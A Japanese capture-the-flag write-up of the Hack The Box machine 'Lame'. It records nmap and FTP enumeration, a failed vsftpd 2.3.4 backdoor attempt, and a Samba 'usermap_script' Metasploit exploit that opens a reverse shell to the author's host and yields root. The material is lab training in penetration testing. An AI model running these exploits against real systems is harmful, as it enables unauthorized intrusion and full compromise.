shinobi CTF

HTBとCTF頑張る

Hack The Box Lame

Conclusion

Procedure

  1. nmap

     PORT     STATE SERVICE     VERSION
     21/tcp   open  ftp         vsftpd 2.3.4
     |_ftp-anon: Anonymous FTP login allowed (FTP code 230)
     | ftp-syst: 
     |   STAT: 
     | FTP server status:
     |      Connected to 10.10.15.3
     |      Logged in as ftp
     |      TYPE: ASCII
     |      No session bandwidth limit
     |      Session timeout in seconds is 300
     |      Control connection is plain text
     |      Data connections will be plain text
     |      vsFTPd 2.3.4 - secure, fast, stable
     |_End of status
     22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
     | ssh-hostkey: 
     |   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
     |_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
     139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
     445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
     3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
    
  2. FTPはanonymousログインが有効っぽいが、データは取得できなかった。

     ftp 10.10.10.3
     Connected to 10.10.10.3.
     220 (vsFTPd 2.3.4)
     Name (10.10.10.3:ubu): anonymous
     331 Please specify the password.
     Password:
     230 Login successful.
     Remote system type is UNIX.
     Using binary mode to transfer files.
     ftp> ls
     200 PORT command successful. Consider using PASV.
     150 Here comes the directory listing.
     226 Directory send OK.
    
  3. ftpのバージョンから脆弱性を探す。
    exploit-dbバックドアのジュールがあったので試す。

      msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
    
      [*] 10.10.10.3:21 - Banner: 220 (vsFTPd 2.3.4)
      [*] 10.10.10.3:21 - USER: 331 Please specify the password.
      [*] Exploit completed, but no session was created.
    

    セッションが作れなかったようなので諦める。

  4. nessusをかけてみる
    creticalの内容はCVE-2008-0166に関する内容のもの。後回し。

  5. sambaについて調べる。

     msf6 auxiliary(scanner/smb/smb_version) > run
    
     [*] 10.10.10.3:445        - SMB Detected (versions:1) (preferred dialect:) (signatures:optional)
     [*] 10.10.10.3:445        -   Host could not be identified: Unix (Samba 3.0.20-Debian)
     [*] 10.10.10.3:           - Scanned 1 of 1 hosts (100% complete)
     [*] Auxiliary module execution completed
    
  6. sambaのバージョンはSamba 3.0.20-Debianである。このバージョンでエクスプロイトを探す。

     msf6 auxiliary(scanner/smb/smb_version) > search Samba 3.0.20
    
     Matching Modules
     ================
    
     #  Name                                Disclosure Date  Rank       Check  Description
     -  ----                                ---------------  ----       -----  -----------
     0  exploit/multi/samba/usermap_script  2007-05-14       excellent  No     Samba "username map script" Command Execution
    

    RCEのモジュールが見つかった。

  7. RCE実行

     msf6 exploit(multi/samba/usermap_script) > run
    
     [*] Started reverse TCP handler on 10.10.15.3:4444 
     [*] Command shell session 2 opened (10.10.15.3:4444 -> 10.10.10.3:37016) at 2021-01-31 10:31:40 +0900
    
     whoami
     root
    

Closing

  • Nessusで引っ掛からなくてもバージョンを調べる事は大事。